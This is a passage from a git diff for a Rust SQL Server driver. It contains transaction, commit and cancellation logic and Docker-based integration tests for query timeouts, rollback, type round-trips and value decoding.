`@params`, even empty, and with it SQL Server refuses a + /// statement that has to start a batch, such as CREATE VIEW or CREATE + /// TRIGGER. + async fn execute_unparameterised(&mut self, sql: &str) -> Result { + let client = &mut *self.client; + let running = async move { + let mut command = Command::new("sp_executesql"); + command.bind_param("@stmt", sql); + let done = command.exec(client).await?.into_command_result().await?; + Ok(done.rows_affected().iter().sum()) + }; + self.watch.finish(running).await + } + + /// COMMIT is sent with no regard for a stop: one that races the + /// commit turns a knowable outcome into an unknown one. + async fn commit(&mut self, steps: usize) -> Result<(), DriverError> { + self.ledger.commit_sending(None); + let committing = async { + let stream = self.client.simple_query("COMMIT TRANSACTION").await?; + stream.into_results().await.map(|_| ()) + }; + match committing.await.map_err(map_error) { + Ok(()) => Ok(()), + Err(error) if ends_connection(&error) => { + self.clean = false; + Err(DriverError::CommitOutcomeUnknown { + token: None, + source: Box::new(error), + }) + } + // The server answered, so nothing was committed. + Err(error) => { + self.roll_back().await; + Err(DriverError::RolledBack { + statement_index: steps, + source: Box::new(error), + }) + } + } + } + + /// A statement the server refused, the connection failing, or a stop. + /// The transaction is rolled back in every case, and the outcome comes + /// from what the ledger saw go out. + async fn failed(&mut self, index: usize, interrupt: Interrupt) -> DriverError { + match interrupt { + Interrupt::Failed(error) if ends_connection(&error) => { + self.clean = false; + self.ledger.interrupted(error, SessionFate::Discarded) + } + Interrupt::Failed(error) => { + let fate = self.roll_back().await; + self.ledger.failed(index, error, fate) + } + Interrupt::Stopped(halt) => { + let (cause, fate) = self.stopped(halt).await; + self.ledger.interrupted(cause, fate) + } + } + } + + /// Stop the statement in flight, then end the transaction. + async fn stopped(&mut self, halt: Halt) -> (DriverError, SessionFate) { + let request = self.watch.request(); + let until = Instant::now() + self.watch.policy().budget; + let answer = match halt { + Halt::Unsent | Halt::Finished => Answer::Acknowledged, + Halt::Boundary | Halt::MidToken => { + let answer = attention(self.client, until).await; + self.stop.record(match answer { + Answer::Unanswered => StopProgress::Failed, + Answer::Acknowledged | Answer::Garbled => StopProgress::Delivered, + }); + answer + } + }; + let rolled_back = + answer == Answer::Acknowledged && halt != Halt::MidToken && roll_back_open(self.client, until).await; + if !rolled_back { + self.clean = false; + } + let cause = match answer { + Answer::Acknowledged => acknowledged_stop(request), + Answer::Garbled | Answer::Unanswered => unconfirmed_stop(request), + }; + // No COMMIT was written, so a connection that cannot roll back + // ends with the transaction undone all the same. + let fate = match rolled_back { + true => SessionFate::RolledBack, + false => SessionFate::Discarded, + }; + (cause, fate) + } + + async fn roll_back(&mut self) -> SessionFate { + let until = Instant::now() + self.watch.policy().budget; + match roll_back_open(self.client, until).await { + true => SessionFate::RolledBack, + false => { + self.clean = false; + SessionFate::Discarded + } + } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::meta::TableRef; + use tablepro_core::{ForeignKeyCheck, ForeignKeyMode, WriteKind}; + + use super::*; + + fn batch(foreign_keys: ForeignKeyMode) -> WriteBatch { + WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + Vec::new(), + foreign_keys, + ) + } + + #[test] + fn non_sqlite_drivers_reject_suspension() { + let suspended = ForeignKeyMode::SuspendedThenVerified { + checks: vec![ForeignKeyCheck::same_table(TableRef::unqualified("t"))], + }; + + assert!(matches!( + precheck(&batch(suspended), false), + Err(DriverError::Unsupported { + feature: "foreign key suspension" + }) + )); + assert!(precheck(&batch(ForeignKeyMode::Enforced), false).is_ok()); + } + + #[test] + fn write_batch_client_guard() { + assert!(matches!( + precheck(&batch(ForeignKeyMode::Enforced), true), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) + )); + } +} diff --git a/linux/crates/drivers/mssql/tests/integration.rs b/linux/crates/drivers/mssql/tests/integration.rs deleted file mode 100644 index 16fd79858f..0000000000 --- a/linux/crates/drivers/mssql/tests/integration.rs +++ /dev/null @@ -1,444 +0,0 @@ -use std::str::FromStr; - -use chrono::{NaiveDate, NaiveTime}; -use rust_decimal::Decimal; -use secrecy::SecretString; - -use drivers_mssql::MssqlDriver; -use tablepro_core::value::{SqlTime, Temporal}; -use tablepro_core::{ConnectOptions, DatabaseDriver, Value}; -use testcontainers::{ContainerAsync, TestcontainersError}; -use testcontainers_modules::mssql_server::MssqlServer; -use testcontainers_modules::testcontainers::runners::AsyncRunner; - -async fn start_mssql() -> Result<(ContainerAsync, ConnectOptions), TestcontainersError> { - let container = MssqlServer::default().with_accept_eula().start().await?; - let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(1433).await?; - let opts = ConnectOptions { - host, - port, - database: "master".into(), - username: "sa".into(), - password: SecretString::new(MssqlServer::DEFAULT_SA_PASSWORD.to_string().into()), - use_tls: false, - ..Default::default() - }; - Ok((container, opts)) -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn connect_list_tables_pk_and_identity() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE pk_demo ( - id int IDENTITY(1,1) PRIMARY KEY, - name nvarchar(255) NOT NULL, - note nvarchar(max) NULL - )", - ) - .await - .unwrap(); - conn.execute("INSERT INTO pk_demo (name, note) VALUES (N'a', NULL), (N'b', N'second')") - .await - .unwrap(); - - let tables = conn.list_tables().await.unwrap(); - assert!(tables.iter().any(|t| t.name == "pk_demo")); - - let cols = conn.fetch_columns(None, "pk_demo").await.unwrap(); - assert_eq!(cols.len(), 3); - let id_col = cols.iter().find(|c| c.name == "id").unwrap(); - assert!(id_col.primary_key, "id must be detected as primary key"); - assert!(id_col.is_auto_increment, "IDENTITY must flag auto-increment"); - assert!(!id_col.nullable); - let note_col = cols.iter().find(|c| c.name == "note").unwrap(); - assert!(!note_col.primary_key); - assert!(note_col.nullable); - - let result = conn.fetch_rows(None, "pk_demo", 0, 100).await.unwrap(); - assert_eq!(result.rows.len(), 2); - assert!(!result.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn value_roundtrip_representative_types() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE types_demo ( - b bit, - i int, - big bigint, - f float, - dec decimal(18,4), - s nvarchar(100), - bin varbinary(16), - d date, - t time, - dt2 datetime2, - uid uniqueidentifier - )", - ) - .await - .unwrap(); - - let uid = uuid::Uuid::from_u128(0x1234_5678_9abc_def0_1122_3344_5566_7788); - let dec = Decimal::from_str("1234.5678").unwrap(); - let date = NaiveDate::from_ymd_opt(2024, 1, 15).unwrap(); - let time = NaiveTime::from_hms_opt(10, 30, 0).unwrap(); - let dt2 = date.and_hms_opt(10, 30, 0).unwrap(); - let params = vec![ - Value::Bool(true), - Value::Int(42), - Value::Int(9_000_000_000), - Value::Float64(2.5), - Value::Decimal(dec.to_string().parse().expect("a decimal")), - Value::Text("héllo".into()), - Value::Bytes(vec![1, 2, 3, 4]), - Value::Date(Temporal::Finite(date)), - Value::Time(SqlTime::from_time_of_day(time)), - Value::Timestamp(Temporal::Finite(dt2)), - Value::Uuid(uid), - ]; - conn.execute_params( - "INSERT INTO types_demo (b, i, big, f, dec, s, bin, d, t, dt2, uid) \ - VALUES (@P1, @P2, @P3, @P4, @P5, @P6, @P7, @P8, @P9, @P10, @P11)", - ¶ms, - ) - .await - .unwrap(); - - let result = conn - .query("SELECT b, i, big, f, dec, s, bin, d, t, dt2, uid FROM types_demo") - .await - .unwrap(); - assert_eq!(result.rows.len(), 1); - let row = &result.rows[0]; - assert_eq!(row[0], Value::Bool(true)); - assert_eq!(row[1], Value::Int(42)); - assert_eq!(row[2], Value::Int(9_000_000_000)); - assert_eq!(row[3], Value::Float64(2.5)); - assert_eq!(row[4], Value::Decimal(dec.to_string().parse().expect("a decimal"))); - assert_eq!(row[5], Value::Text("héllo".into())); - assert_eq!(row[6], Value::Bytes(vec![1, 2, 3, 4])); - assert_eq!(row[7], Value::Date(Temporal::Finite(date))); - assert_eq!(row[8], Value::Time(SqlTime::from_time_of_day(time))); - assert_eq!(row[9], Value::Timestamp(Temporal::Finite(dt2))); - assert_eq!(row[10], Value::Uuid(uid)); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn pagination_and_truncated_flag() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE big (i int PRIMARY KEY)").await.unwrap(); - let mut sql = String::from("INSERT INTO big (i) VALUES "); - for i in 0..50 { - if i > 0 { - sql.push(','); - } - sql.push_str(&format!("({i})")); - } - conn.execute(&sql).await.unwrap(); - - // fetch_rows pages with OFFSET/FETCH; order is not guaranteed, so assert - // the page size only. - let page = conn.fetch_rows(None, "big", 10, 5).await.unwrap(); - assert_eq!(page.rows.len(), 5); - assert!(!page.truncated); - - // Ordered query for deterministic value assertions. - let q = conn - .query("SELECT i FROM big ORDER BY i OFFSET 10 ROWS FETCH NEXT 5 ROWS ONLY") - .await - .unwrap(); - let firsts: Vec = q - .rows - .iter() - .map(|r| match r[0] { - Value::Int(i) => i, - _ => panic!("expected int"), - }) - .collect(); - assert_eq!(firsts, vec![10, 11, 12, 13, 14]); - - let all = conn.query("SELECT i FROM big ORDER BY i").await.unwrap(); - assert_eq!(all.rows.len(), 50); - assert!(!all.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn bad_sql_returns_query_error() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - let err = conn.query("SELECT * FROM no_such_table").await.unwrap_err(); - let msg = format!("{err}").to_lowercase(); - assert!( - msg.contains("no_such_table") || msg.contains("invalid object") || msg.contains("object name"), - "expected error to mention the missing object, got: {msg}" - ); -} - -/// The structure editor's Save path. Transaction control has to travel -/// as a SQL batch: tiberius routes `query` / `execute` through -/// `sp_executesql`, and SQL Server rejects a stored procedure that -/// returns with a different `@@TRANCOUNT` than it entered with (Msg -/// 266), leaving the transaction open on the connection. -#[tokio::test] -#[ignore = "requires docker"] -async fn ddl_batch_commits_and_rolls_back_as_a_unit() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - let committed = conn - .execute_in_transaction(&[ - ("CREATE TABLE tx_demo (id int NOT NULL)".to_string(), Vec::new()), - ("ALTER TABLE tx_demo ADD name nvarchar(50) NULL".to_string(), Vec::new()), - ]) - .await - .unwrap(); - assert_eq!(committed.len(), 2); - assert_eq!(conn.fetch_columns(None, "tx_demo").await.unwrap().len(), 2); - - let err = conn - .execute_in_transaction(&[ - ("ALTER TABLE tx_demo ADD extra int NULL".to_string(), Vec::new()), - ("ALTER TABLE tx_demo ADD extra int NULL".to_string(), Vec::new()), - ]) - .await - .unwrap_err(); - assert!(matches!( - err, - tablepro_core::DriverError::RolledBack { statement_index: 1, .. } - )); - let cols = conn.fetch_columns(None, "tx_demo").await.unwrap(); - assert_eq!(cols.len(), 2, "the failed batch must roll back the first statement"); - assert!(!cols.iter().any(|c| c.name == "extra")); - - // The connection is still usable, which it would not be if a - // half-open transaction were left behind holding schema locks. - conn.execute("CREATE TABLE tx_demo_after (id int)").await.unwrap(); -} - -/// Default constraints are separate objects here, so a default change -/// is drop-then-add against a server-generated constraint name. -#[tokio::test] -#[ignore = "requires docker"] -async fn alter_column_default_round_trips() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE def_demo (id int NOT NULL, status nvarchar(20) NULL)") - .await - .unwrap(); - - let mut column = tablepro_core::sql_ddl::DraftColumn { - original: Some( - conn.fetch_columns(None, "def_demo") - .await - .unwrap() - .into_iter() - .find(|c| c.name == "status") - .unwrap(), - ), - name: "status".into(), - data_type: "nvarchar(20)".into(), - nullable: true, - primary_key: false, - auto_increment: false, - default_value: Some("'pending'".into()), - comment: None, - }; - for sql in tablepro_core::sql_ddl::build_alter_column("mssql", None, "def_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let status = |cols: Vec| cols.into_iter().find(|c| c.name == "status").unwrap(); - let after_add = status(conn.fetch_columns(None, "def_demo").await.unwrap()); - assert_eq!(default_expression(&after_add).as_deref(), Some("pending")); - - conn.execute("INSERT INTO def_demo (id) VALUES (1)").await.unwrap(); - let rows = conn.query("SELECT status FROM def_demo").await.unwrap(); - assert_eq!(rows.rows[0][0], Value::Text("pending".into())); - - column.original = Some(after_add); - column.default_value = None; - for sql in tablepro_core::sql_ddl::build_alter_column("mssql", None, "def_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - assert!( - status(conn.fetch_columns(None, "def_demo").await.unwrap()) - .default - .is_none() - ); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn foreign_key_actions_round_trip() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE fk_parent (id int NOT NULL PRIMARY KEY)") - .await - .unwrap(); - conn.execute("CREATE TABLE fk_child (id int NOT NULL PRIMARY KEY, parent_id int NULL)") - .await - .unwrap(); - - let fk = tablepro_core::ForeignKeyInfo { - name: "fk_child_parent".into(), - columns: vec!["parent_id".into()], - ref_schema: None, - ref_table: "fk_parent".into(), - ref_columns: vec!["id".into()], - on_delete: Some("CASCADE".into()), - on_update: Some("NO ACTION".into()), - }; - let sql = tablepro_core::sql_ddl::build_add_foreign_key("mssql", None, "fk_child", &fk).unwrap(); - conn.execute(&sql).await.unwrap(); - - let fks = conn.fetch_foreign_keys(None, "fk_child").await.unwrap(); - assert_eq!(fks.len(), 1); - assert_eq!(fks[0].columns, vec!["parent_id".to_string()]); - assert_eq!(fks[0].ref_table, "fk_parent"); - assert_eq!(fks[0].on_delete.as_deref(), Some("CASCADE")); - - // RESTRICT is not in the T-SQL grammar, so the builder refuses it - // rather than handing the server a syntax error. - let mut restricted = fk.clone(); - restricted.name = "fk_restrict".into(); - restricted.on_delete = Some("RESTRICT".into()); - assert!(tablepro_core::sql_ddl::build_add_foreign_key("mssql", None, "fk_child", &restricted).is_err()); -} - -/// An index's INCLUDE columns are not part of its key and carry -/// key_ordinal 0, so leaving them in the catalog query would both list -/// them as key columns and sort them ahead of the real ones. -#[tokio::test] -#[ignore = "requires docker"] -async fn index_columns_exclude_included_columns() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE ix_demo (a int NOT NULL, b int NOT NULL, c int NULL, d int NULL)") - .await - .unwrap(); - conn.execute("CREATE INDEX ix_demo_ab ON ix_demo (a, b) INCLUDE (c, d)") - .await - .unwrap(); - - let indexes = conn.fetch_indexes(None, "ix_demo").await.unwrap(); - let ix = indexes.iter().find(|i| i.name == "ix_demo_ab").unwrap(); - assert_eq!(ix.columns, vec!["a".to_string(), "b".to_string()]); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn empty_result_set_still_reports_columns() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE empty_demo (id int NOT NULL, label nvarchar(10) NULL)") - .await - .unwrap(); - - let result = conn.query("SELECT id, label FROM empty_demo").await.unwrap(); - assert!(result.rows.is_empty()); - let names: Vec<&str> = result.columns.iter().map(|c| c.name.as_str()).collect(); - assert_eq!(names, vec!["id", "label"]); - - let paged = conn.fetch_rows(None, "empty_demo", 0, 50).await.unwrap(); - assert!(paged.rows.is_empty()); - assert_eq!(paged.columns.len(), 2); -} - -/// The DEFAULT clause as the catalogue text it came from. -fn default_expression(column: &tablepro_core::ColumnInfo) -> Option { - match &column.default { - tablepro_core::column::ColumnDefault::Expression(expression) => Some(expression.as_sql().to_owned()), - tablepro_core::column::ColumnDefault::Literal(value) => tablepro_core::export::value_to_text(value), - tablepro_core::column::ColumnDefault::None => None, - } -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn a_decimal_past_a_fixed_width_type_reads_back_whole() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE wide_numbers (id int PRIMARY KEY, amount decimal(38,10), nothing decimal(18,2))") - .await - .unwrap(); - conn.execute( - "INSERT INTO wide_numbers (id, amount, nothing) VALUES (1, 1234567890123456789012345678.9012345678, NULL)", - ) - .await - .unwrap(); - - let q = conn.query("SELECT amount, nothing FROM wide_numbers").await.unwrap(); - let row = &q.rows[0]; - - // 38 digits, past the 28 a fixed-width decimal type holds. - match &row[0] { - Value::Decimal(d) => assert_eq!(d.to_string(), "1234567890123456789012345678.9012345678"), - v => panic!("expected a wide decimal, got {v:?}"), - } - assert_eq!(row[1], Value::Null); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn column_comments_round_trip() { - let (_c, opts) = start_mssql().await.unwrap(); - let conn = MssqlDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE comment_demo (id int, email nvarchar(255))") - .await - .unwrap(); - - let read = - |cols: Vec, name: &str| cols.into_iter().find(|c| c.name == name).unwrap().comment; - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email"), None); - - // sp_addextendedproperty, because the column had no description. - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = Some("primary contact".into()); - for sql in tablepro_core::sql_ddl::build_alter_column("mssql", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("primary contact")); - - // sp_updateextendedproperty, because it has one now. - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = Some("who to mail".into()); - for sql in tablepro_core::sql_ddl::build_alter_column("mssql", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols.clone(), "email").as_deref(), Some("who to mail")); - - // sp_dropextendedproperty, because the user cleared it. - let mut column = - tablepro_core::sql_ddl::DraftColumn::from_info(cols.into_iter().find(|c| c.name == "email").unwrap()); - column.comment = None; - for sql in tablepro_core::sql_ddl::build_alter_column("mssql", None, "comment_demo", &column).unwrap() { - conn.execute(&sql).await.unwrap(); - } - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - assert_eq!(read(cols, "email"), None); -} diff --git a/linux/crates/drivers/mssql/tests/integration/cancellation.rs b/linux/crates/drivers/mssql/tests/integration/cancellation.rs new file mode 100644 index 0000000000..bf99dbc92f --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/cancellation.rs @@ -0,0 +1,161 @@ +//! Stops sent as TDS attention, and what happens to the connection that +//! carried them. + +use std::time::Duration; + +use tablepro_core::{DriverError, EditorSessionState, RowLimit, RunEnd, RunOptions, TimeoutPhase}; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::support::{CALL, connect, rows, run_ok, run_with, scalar, session, start, statement, within}; + +const SLACK: Duration = Duration::from_millis(250); + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn pooled_query_bound_waitfor_deadline_server_cancelled_client_reused() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let before = scalar(connection.as_ref(), "SELECT @@SPID").await; + let deadline = Duration::from_secs(1); + + let started = Instant::now(); + let outcome = connection + .query_bound( + &statement("/* tp_waitfor */ WAITFOR DELAY '00:00:30'"), + RowLimit::EDITOR_DEFAULT, + within(deadline), + ) + .await; + let elapsed = started.elapsed(); + + assert_eq!( + outcome.err(), + Some(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + }) + ); + assert!( + elapsed <= deadline + test_liveness().cancel_grace + SLACK, + "{elapsed:?}" + ); + let after = scalar(connection.as_ref(), "SELECT @@SPID").await; + assert_eq!(before, after, "the attention left the connection reusable"); + let waiting = rows( + connection.as_ref(), + "SELECT COUNT(*) FROM sys.dm_exec_requests r CROSS APPLY sys.dm_exec_sql_text(r.sql_handle) t \ + WHERE t.text LIKE N'%tp_waitfor%' AND r.session_id <> @@SPID", + ) + .await; + assert_eq!(waiting, vec![vec![tablepro_core::Value::Int(0)]]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_waitfor_cancel_then_select1_same_client() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + let spid = run_ok(session.as_ref(), "SELECT @@SPID").await.rows(); + let cancel = CancellationToken::new(); + let stopping = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(500)).await; + stopping.cancel(); + }); + + let (summary, _) = run_with(session.as_ref(), "WAITFOR DELAY '00:01:00'", RunOptions::new(cancel)).await; + + assert_eq!(summary.end, RunEnd::Cancelled); + assert_eq!(session.state(), EditorSessionState::Ready); + assert_eq!(run_ok(session.as_ref(), "SELECT @@SPID").await.rows(), spid); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn waitfor_3s_does_not_delay_probe() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let holder = connection.clone(); + let holding = tokio::spawn(async move { + holder + .query_bound( + &statement("WAITFOR DELAY '00:00:03'; SELECT 1"), + RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await + }); + tokio::time::sleep(Duration::from_millis(300)).await; + + let started = Instant::now(); + connection + .probe(within(test_liveness().probe_timeout)) + .await + .expect("a probe"); + + assert!(started.elapsed() < Duration::from_secs(2), "{:?}", started.elapsed()); + holding.await.expect("the holder ran").expect("the held read"); +} + +/// tiberius bounds every response by 30 seconds unless told not to, and +/// abandons the connection when one takes longer. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn waitfor_40s_completes_without_command_desync() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + + let done = connection + .query_bound( + &statement("WAITFOR DELAY '00:00:40'; SELECT 1 AS done"), + RowLimit::EDITOR_DEFAULT, + within(Duration::from_secs(55)), + ) + .await + .expect("a 40 second read"); + + assert_eq!(done.rows, vec![vec![tablepro_core::Value::Int(1)]]); + assert_eq!( + scalar(connection.as_ref(), "SELECT 2").await, + tablepro_core::Value::Int(2) + ); +} + +/// A cancel that lands while rows are streaming may leave a token half +/// read, so the session either takes the next run or says it is lost; +/// it never hangs and never reads garbage. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn cancel_after_dropped_row_stream_discards_client() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + let cancel = CancellationToken::new(); + let stopping = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(200)).await; + stopping.cancel(); + }); + + let started = Instant::now(); + let (summary, _) = run_with( + session.as_ref(), + "SELECT a.object_id, b.name FROM sys.all_objects a CROSS JOIN sys.all_objects b", + RunOptions::new(cancel).with_row_limit(RowLimit::new(5_000_000).expect("a limit")), + ) + .await; + + assert_eq!(summary.end, RunEnd::Cancelled); + assert!(started.elapsed() < Duration::from_secs(5), "{:?}", started.elapsed()); + match session.state() { + EditorSessionState::Ready => { + run_ok(session.as_ref(), "SELECT 1").await; + } + state => assert_eq!(state, EditorSessionState::Lost), + } + let fresh = crate::support::session(connection.as_ref()).await; + run_ok(fresh.as_ref(), "SELECT 1").await; +} diff --git a/linux/crates/drivers/mssql/tests/integration/conformance_engine.rs b/linux/crates/drivers/mssql/tests/integration/conformance_engine.rs new file mode 100644 index 0000000000..8b23e7ad05 --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/conformance_engine.rs @@ -0,0 +1,157 @@ +//! The connection conformance suite against SQL Server. +//! +//! tiberius 0.13 decodes sql_variant and CLR values, so the unsupported +//! types case runs. A stop that may leave a response half read discards +//! its connection, which the cancellation cases allow. + +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_mssql::{MssqlDriver, WORKSPACE_POOL_MAX_SIZE}; +use tablepro_core::{ConnectOptions, DatabaseDriver, LivenessPolicy, NetworkEndpoint, TableRef, WorkspaceSettings}; +use tablepro_test_fixtures::MssqlFixture; +use tablepro_test_support::FaultTransport; +use tablepro_test_support::conformance::{ + BoundedDdlEngine, ConformanceEngine, ConformanceFailure, EditorTransactionEngine, NetworkConformanceEngine, + PooledConformanceEngine, TypedConformanceEngine, UnsupportedTypeCase, +}; + +use crate::support::{dbo, delay, direct, options_over, password, quoted, require}; + +pub struct MssqlEngine { + fixture: MssqlFixture, +} + +#[async_trait] +impl ConformanceEngine for MssqlEngine { + fn driver() -> Arc { + Arc::new(MssqlDriver) + } + + async fn start() -> Result { + let fixture = MssqlFixture::start().await.map_err(ConformanceFailure::setup)?; + Ok(Self { fixture }) + } + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { + options_over( + direct(self.fixture.host(), self.fixture.port(), &liveness), + password(&self.fixture.password_credentials()), + require(), + settings, + liveness, + ) + } + + fn scratch_table(&self, name: &str) -> TableRef { + dbo(name) + } + + fn create_scratch_table_sql(&self, table: &TableRef) -> String { + format!( + "CREATE TABLE [dbo].{} (id int PRIMARY KEY, label nvarchar(200) NOT NULL)", + quoted(&table.name) + ) + } + + fn unbounded_statement_sql(&self, marker: &str) -> String { + format!("/* {marker} */ WAITFOR DELAY '23:59:59'") + } + + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { + Ok(format!( + "/* {marker} */ WAITFOR DELAY '{}'; SELECT 1 AS done", + delay(hold) + )) + } + + fn row_source_sql(&self, rows: u64) -> String { + format!( + "SELECT TOP ({rows}) ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) AS n \ + FROM sys.all_objects a CROSS JOIN sys.all_objects b" + ) + } +} + +#[async_trait] +impl NetworkConformanceEngine for MssqlEngine { + async fn faulty_connect_options( + &self, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + ) -> Result<(ConnectOptions, Arc), ConformanceFailure> { + let endpoint = + NetworkEndpoint::new(self.fixture.host(), self.fixture.port()).map_err(ConformanceFailure::setup)?; + let fault = Arc::new(FaultTransport::direct(endpoint, &liveness).map_err(ConformanceFailure::setup)?); + let options = options_over( + fault.clone(), + password(&self.fixture.password_credentials()), + require(), + settings, + liveness, + ); + Ok((options, fault)) + } + + fn running_statement_count_sql(&self, marker: &str) -> String { + format!( + "SELECT COUNT(*) FROM sys.dm_exec_requests r \ + CROSS APPLY sys.dm_exec_sql_text(r.sql_handle) t \ + WHERE t.text LIKE N'%{marker}%' AND r.session_id <> @@SPID" + ) + } +} + +impl PooledConformanceEngine for MssqlEngine { + const WORKSPACE_POOL_MAX_SIZE: usize = WORKSPACE_POOL_MAX_SIZE; +} + +impl EditorTransactionEngine for MssqlEngine { + fn begin_sql(&self) -> String { + "BEGIN TRANSACTION".to_owned() + } + + fn commit_sql(&self) -> String { + "COMMIT TRANSACTION".to_owned() + } +} + +impl TypedConformanceEngine for MssqlEngine { + fn unsupported_type_cases(&self) -> Vec { + let case = |declaration: &str, value: &str| UnsupportedTypeCase { + setup_sql: Vec::new(), + declaration: declaration.to_owned(), + insert_value_sql: value.to_owned(), + }; + vec![ + case("v geography", "geography::Point(47.65, -122.34, 4326)"), + case("v hierarchyid", "hierarchyid::Parse('/1/2/')"), + case("v sql_variant", "CAST(42 AS sql_variant)"), + ] + } +} + +impl BoundedDdlEngine for MssqlEngine { + fn schema_change_exceeding_sql(&self, table: &TableRef, duration: Duration) -> String { + format!( + "WAITFOR DELAY '{}'; CREATE TABLE [dbo].{} (id int)", + delay(duration), + quoted(&table.name) + ) + } +} + +mod suite { + use super::MssqlEngine; + + tablepro_test_support::connection_conformance_suite! { + engine: MssqlEngine, + docker: true, + endpoint: network, + pool: pooled, + editor_transactions: true, + unsupported_types: true, + bounded_ddl: true, + } +} diff --git a/linux/crates/drivers/mssql/tests/integration/decode.rs b/linux/crates/drivers/mssql/tests/integration/decode.rs new file mode 100644 index 0000000000..18bad3d3c9 --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/decode.rs @@ -0,0 +1,161 @@ +//! Values read back exactly, through the same paths browse and the +//! editor use. + +use chrono::DateTime; +use tablepro_core::value::{OffsetTimestamp, SqlDecimal, Temporal}; +use tablepro_core::{Connection, Value}; + +use crate::support::{browse, columns, connect, dbo, insert_one, rows, scalar, setup, start, write}; + +fn decimal(text: &str) -> Value { + Value::Decimal(text.parse::().expect("a decimal")) +} + +fn text(value: &Value) -> String { + match value { + Value::Text(text) => text.clone(), + other => format!("not text: {other:?}"), + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn serverproperty_product_version_no_panic() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + + let version = scalar(connection.as_ref(), "SELECT SERVERPROPERTY('ProductVersion')").await; + + assert!(connection.server_info().major >= 16, "{:?}", connection.server_info()); + assert!(text(&version).starts_with(&connection.server_info().major.to_string())); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn sql_variant_int_nvarchar_datetime2() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + + let row = rows( + connection.as_ref(), + "SELECT CAST(42 AS sql_variant), CAST(N'zoë' AS sql_variant), \ + CAST(CAST('2024-06-15T10:00:00.1234567' AS datetime2(7)) AS sql_variant)", + ) + .await + .remove(0); + + assert_eq!(row[0], Value::Int(42)); + assert_eq!(row[1], Value::Text("zoë".to_owned())); 